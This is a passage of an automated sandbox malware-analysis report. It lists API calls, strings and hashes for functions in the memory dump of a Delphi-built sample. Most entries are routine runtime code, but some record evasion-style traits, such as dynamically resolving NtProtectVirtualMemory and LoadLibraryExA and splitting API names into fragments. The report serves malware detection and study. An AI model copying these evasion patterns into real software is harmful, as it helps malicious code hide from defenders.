GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02985BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02985BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02985C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02985C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02985C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02985C97

Strings

Software\Borland\Locales, xrefs: 02985AA8, 02985AC6
Software\Borland\Delphi\Locales, xrefs: 02985AE4

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 0f6741a223ba8fe6e5665b4d2b2a71df44d85da3974b0b3ec0578d74ecb410e2
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: 13318671E4021C3AFF25EAB8DC85FEF77AD5B44380F4A41E19608E6185DB749E888F91

Function 029979D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22librarynativeloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 029979E5
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 029979EB
NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 02997A09

Strings

NtProtectVirtualMemory, xrefs: 029979DB
C:\Windows\System32\ntdll.dll, xrefs: 029979E0

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcProtectVirtual
String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
API String ID: 1550029230-1386159242
Opcode ID: df666a2a35c0016945302da9f3bbfac7f695765a557096eaa1ae750a9f89f02c
Instruction ID: 8e020f7c3fe391f04980fe017804de512ca5a26c11f95137509acf9c857f0232
Opcode Fuzzy Hash: df666a2a35c0016945302da9f3bbfac7f695765a557096eaa1ae750a9f89f02c
Instruction Fuzzy Hash: EDE0B6B6691208AF9B40EEDCEC45DDBB7ECAB58220B004801BE19DB200C630E9619FB4

Function 02987F62 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02987F85

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 8665c927c96c32c4f1226cbe601850ed587083270b8ad2943d0e18c1f55c7465
Instruction ID: a92c616a1875227a1be378ab0bede5874df8a281a62ed84173704fa371d341f7
Opcode Fuzzy Hash: 8665c927c96c32c4f1226cbe601850ed587083270b8ad2943d0e18c1f55c7465
Instruction Fuzzy Hash: 2B11C0B5A00209AFDB04DF99C8819AFF7F9EFC8704B14C569A515EB254E6719A018B90

Function 0298A754 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A772

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: fd44b84397e343e6ab0a03f6b01e748795d4be2baad4aacefe5b0ce7905c0c2f
Instruction ID: c6a59d6b3e1aee38729971fa6ed4c2c1613e3aa9798d99d7b5bd723d5b38a329
Opcode Fuzzy Hash: fd44b84397e343e6ab0a03f6b01e748795d4be2baad4aacefe5b0ce7905c0c2f
Instruction Fuzzy Hash: B8E0D835B0021417D711B5689C80AFA739D9B9C310F08427FBD09C7340FDA09D444AE8

Function 0298B71C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,029AA106,00000000,029AA11E), ref: 0298B72A

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 7cfe5c6d4333f3a438200bae834ca6818d8ae3774282adc9cf38efa2ac163ece
Instruction ID: 39efe9f5eedddd2232ab406856d0a4d2ca31e90da684cb2c81f01bb9648cb186
Opcode Fuzzy Hash: 7cfe5c6d4333f3a438200bae834ca6818d8ae3774282adc9cf38efa2ac163ece
Instruction Fuzzy Hash: 93F0B7749483019FC350EF28D56062577E5FF9A758F08492DE899C7B80D77498148FD6

Function 0298A7A0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0298BE02,00000000,0298C01B,?,?,00000000,00000000), ref: 0298A7B3

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: 16c484f28786049d8d01741f58f35c0022c7df526ee1f4b38650070e68a251ac
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: 5DD05E6630E2A02AA320A15A2D84D7B5AECCBC5BA1F08483EB588CA240D2048C06A6B1

Function 0298919C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 029891A0

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: 8973fb8f9f40c206c315462732d764627234d3418b2e0c3d9af411d7357c1b34
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: 23A011008088200282803B280C0223A3088A880A20FC80B80A8F8883E0EA2E022080E3

Function 029820C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 029DF3AD Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1338265139.00000000029DF000.00000040.00001000.00020000.00000000.sdmp, Offset: 029DF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29df000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
Instruction ID: e214295b515d9b4b4d7bf215d238bbaac53a4cb834b1bc75c2fdc2e4fcfd3c41
Opcode Fuzzy Hash: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
Instruction Fuzzy Hash: 91F058322142518FD621CE59C8C2B59F3ACEF407E8F2B89AAE54297951C328E844EA50

Function 0298D224 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0298D22D

Part of subcall function 0298D1F8: GetProcAddress.KERNEL32(00000000), ref: 0298D211

Strings

VarDateFromStr, xrefs: 0298D39B
VarNot, xrefs: 0298D267
VarSub, xrefs: 0298D293
VarI4FromStr, xrefs: 0298D359
VarMul, xrefs: 0298D2A9
VarR4FromStr, xrefs: 0298D36F
VarCmp, xrefs: 0298D343
oleaut32.dll, xrefs: 0298D228
VarAnd, xrefs: 0298D301
VarBstrFromDate, xrefs: 0298D3F3
VarOr, xrefs: 0298D317
VarMod, xrefs: 0298D2EB
VarNeg, xrefs: 0298D251
VarIdiv, xrefs: 0298D2D5
VarBoolFromStr, xrefs: 0298D3C7
VarXor, xrefs: 0298D32D
VarAdd, xrefs: 0298D27D
VarBstrFromBool, xrefs: 0298D409
VarDiv, xrefs: 0298D2BF
VarBstrFromCy, xrefs: 0298D3DD
VarCyFromStr, xrefs: 0298D3B1
VariantChangeTypeEx, xrefs: 0298D23B
VarR8FromStr, xrefs: 0298D385

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 2ad6428e7c5be5ae6e04227af8369b988aa5758e82b15ae6fe3cb92496691988
Instruction ID: 5f73a661439f9bb570ac234ed9b3ea68444e9db1c90760d17da6bd73a9b3536a
Opcode Fuzzy Hash: 2ad6428e7c5be5ae6e04227af8369b988aa5758e82b15ae6fe3cb92496691988
Instruction Fuzzy Hash: 5F418DA2A893485B920C7BBD7400977B7DEDB887643A8441BF518CB7C4EE30BC915B79

Function 02996E68 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02996E6E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02996E7F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02996E8F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02996E9F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02996EAF
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02996EBF
GetProcAddress.KERNEL32(?,CoSuspendClassObjects), ref: 02996ECF

Strings

ole32.dll, xrefs: 02996E69
CoCreateInstanceEx, xrefs: 02996E79
CoReleaseServerProcess, xrefs: 02996EA9
CoSuspendClassObjects, xrefs: 02996EC9
CoAddRefServerProcess, xrefs: 02996E99
CoInitializeEx, xrefs: 02996E89
CoResumeClassObjects, xrefs: 02996EB9

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: dc4624901f175c45985a31e8c27799ca8072e5687d6f0b5837eeef57ce970938
Instruction ID: e28ec3705321674ff199e107be358aa65ae361a3486713f58af2cbf7d644175b
Opcode Fuzzy Hash: dc4624901f175c45985a31e8c27799ca8072e5687d6f0b5837eeef57ce970938
Instruction Fuzzy Hash: CFF057F1A8D345AEB7007F789CAED372BDD9DE0718714182D74175D542DA75C8204FA0

Function 0299A3BC Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 0299A3DC
GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 0299A3F3
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 0299A3F9
LoadLibraryExA.KERNELBASE(?,00000000,00000000), ref: 0299A40B
IsBadReadPtr.KERNEL32(?,00000004), ref: 0299A487
IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 0299A493
IsBadReadPtr.KERNEL32(?,00000014), ref: 0299A4A7

Strings

LoadLibraryExA, xrefs: 0299A3E9
C:\Windows\System32\KernelBase.dll, xrefs: 0299A3EE

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Read$AddressHandleLibraryLoadModuleProc
String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
API String ID: 2083169754-1650066521
Opcode ID: 7af8ea7c186e0c9ba372a8bd72242afb008df6f4e0c1456a4f19371e26a2d0b3
Instruction ID: 74249c343a8660f0a1e75262a3383b0a5646ca4d6f9bddac1834bdc16966bac7
Opcode Fuzzy Hash: 7af8ea7c186e0c9ba372a8bd72242afb008df6f4e0c1456a4f19371e26a2d0b3
Instruction Fuzzy Hash: 97313071640205BBEF20DBACCC89F9A77ACEF45378F044554FA189A281D774E950CBA0

Function 02982530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 029828CE

Strings

, xrefs: 02982814
bytes: , xrefs: 0298275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02982849
7, xrefs: 029826A1
Unknown, xrefs: 0298278C
An unexpected memory leak has occurred. , xrefs: 02982690
Unexpected Memory Leak, xrefs: 029828C0
String, xrefs: 029827A1
The unexpected small block leaks are:, xrefs: 02982707

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 590b1cdf0ec9de8856d1c1c6d3cc77d6f3f5087edd0877b94d2d1d3fb3dec49b
Instruction ID: 314c450f3b8f66780af3b8b00c9e47fb84a5a0c5c1ead0360d416b9611850049
Opcode Fuzzy Hash: 590b1cdf0ec9de8856d1c1c6d3cc77d6f3f5087edd0877b94d2d1d3fb3dec49b
Instruction Fuzzy Hash: 1AA1E230E043D48BDF21BB2CCC84BA9B7E9EB49750F1840E5ED49AB285CB759985CF51

Function 0298252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

, xrefs: 02982814
bytes: , xrefs: 0298275D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02982849
7, xrefs: 029826A1
An unexpected memory leak has occurred. , xrefs: 02982690
Unexpected Memory Leak, xrefs: 029828C0
The unexpected small block leaks are:, xrefs: 02982707

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 90b6c6532f30d6a39d04c430102b93ee9d887efb665175bcc2cf358a7b9e452e
Instruction ID: 0719739583c20c77d89cfe1024729d12946264d4cb7b41e38e29b87f5c79e632
Opcode Fuzzy Hash: 90b6c6532f30d6a39d04c430102b93ee9d887efb665175bcc2cf358a7b9e452e
Instruction Fuzzy Hash: DD71B130E042D88FDF21BB2CCC84B99BAE9EB49744F1841E5D949EB281DB758AC5CF51

Function 0298BD50 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0298C01B,?,?,00000000,00000000), ref: 0298BD86

Part of subcall function 0298A754: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0298A772

Strings

AMPM, xrefs: 0298BF9A
mmmm d, yyyy, xrefs: 0298BE82
:mm:ss, xrefs: 0298BFD6
m/d/yy, xrefs: 0298BE55
AMPM , xrefs: 0298BFA9
:mm, xrefs: 0298BFB9

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: af95555152fb78c3cb4884559c3c92ac49dbe66c9a4b767c580a60c01974975b
Instruction ID: 7b8d9f6730723f9727ea27048b3447999fda48e8fcae1dc179305f64893a7e52
Opcode Fuzzy Hash: af95555152fb78c3cb4884559c3c92ac49dbe66c9a4b767c580a60c01974975b
Instruction Fuzzy Hash: 2461FE34A402499BDB04FBA4EC90A9F77FBAFC8340F589436E101DB645DA39D9099F61

Function 0298432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843F3,?,?,029D67C8,?,?,029AB7A8,0298655D,029AA30D), ref: 02984365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843F3,?,?,029D67C8,?,?,029AB7A8,0298655D,029AA30D), ref: 0298436B
GetStdHandle.KERNEL32(000000F5,029843B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843F3,?,?,029D67C8), ref: 02984380
WriteFile.KERNEL32(00000000,000000F5,029843B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,029843F3,?,?), ref: 02984386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 029843A4

Strings

Error, xrefs: 02984398
Runtime error at 00000000, xrefs: 0298435E, 0298439D

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 467fcb3eb9fe32be3874b210ba093bf1315ed377e147b3b9397fe51ad3e70ae7
Instruction ID: a7d3a985527ef10fe821dc78c2533274d9721248df201e660fb11acdc7a3f481
Opcode Fuzzy Hash: 467fcb3eb9fe32be3874b210ba093bf1315ed377e147b3b9397fe51ad3e70ae7
Instruction Fuzzy Hash: 1AF0BE60AC93447AFB10B2A0AD5AF79275C5BC4F29F5C6B06B328A90C4C7F450C5AB66

Function 02997B5C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,00000000,02997C60,00000000,00000000,00000000,00000000,00000000,oces,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02997BDE
GetProcAddress.KERNEL32(00000000,KernelBase), ref: 02997BE4
GetCurrentProcess.KERNELBASE ref: 02997BEE

Strings

oces, xrefs: 02997BAF
GetCurre, xrefs: 02997B75
KernelBase, xrefs: 02997BD9

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: GetCurre$KernelBase$oces
API String ID: 4190356694-953896676
Opcode ID: b08b26361a193265d50b6109171affbb193b91add1a66c1d71cf0cc422a18fa7
Instruction ID: 7b75c6a2a4013d49f071236fff96aecea53dded70f085d716845c3c56bc6adfa
Opcode Fuzzy Hash: b08b26361a193265d50b6109171affbb193b91add1a66c1d71cf0cc422a18fa7
Instruction Fuzzy Hash: CEF081B07943047BFF14BBE49D42FEAF799DBC4F20F610460B501A6780E9B4A940D925

Function 0298AE54 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0298ACCC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0298ACE9
Part of subcall function 0298ACCC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0298AD0D
Part of subcall function 0298ACCC: GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 0298AD28
Part of subcall function 0298ACCC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0298ADBE

CharToOemA.USER32(?,?), ref: 0298AE8B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0298AEA8
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0298AEAE
GetStdHandle.KERNEL32(000000F4,0298AF18,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0298AEC3
WriteFile.KERNEL32(00000000,000000F4,0298AF18,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0298AEC9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0298AEEB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0298AF01

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 17374d4fc6a0d2f64f8c06009b3948c48dbbbfa296de8d9404fb9072641a05de
Instruction ID: 11e01244b5108e924ec1f66f4a4fba55fc319f03a4e07f16bf0e061af6d78cb5
Opcode Fuzzy Hash: 17374d4fc6a0d2f64f8c06009b3948c48dbbbfa296de8d9404fb9072641a05de
Instruction Fuzzy Hash: CE115EB25483447ED700FBA4CC85F9B77EDAB84700F48092AB754DA0E1DA74E9448FB6

Function 0298E51C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0298E5B5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0298E5D1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0298E60A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0298E687
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0298E6A0
VariantCopy.OLEAUT32(?,00000000), ref: 0298E6D5

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 57829dc171f222bca3a8a1eaf482ddb59bb33c8d0c61b7a4e21e58a9a0a98b8e
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: B751F975A006299BCB26EF68CC90BD9B3BDAF4C304F0841E5F549E7251DA30AF858F65

Function 02983568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0298358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,029835D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029835BD
RegCloseKey.ADVAPI32(?,029835E0,00000000,?,00000004,00000000,029835D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 029835D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02983580
FPUMaskValue, xrefs: 029835B4

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 5afcb5105855dd20bfe785c5ac7cd4c82f68320a36d93bba31fe981838970190
Instruction ID: c565cc9c6e766bfcd66804ab4bef41970f90a20c6c66e01d970efa6ea1818cba
Opcode Fuzzy Hash: 5afcb5105855dd20bfe785c5ac7cd4c82f68320a36d93bba31fe981838970190
Instruction Fuzzy Hash: E301B175A44318BAEB11EB908D02BBD77ECEB48B10F1405A6BB04E6580E6749A10DA99

Function 02980ABD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02986BD8,02980000,029AB790), ref: 029858D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 029858E8
lstrcpynA.KERNEL32(?,?,?), ref: 02985918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 0298597C
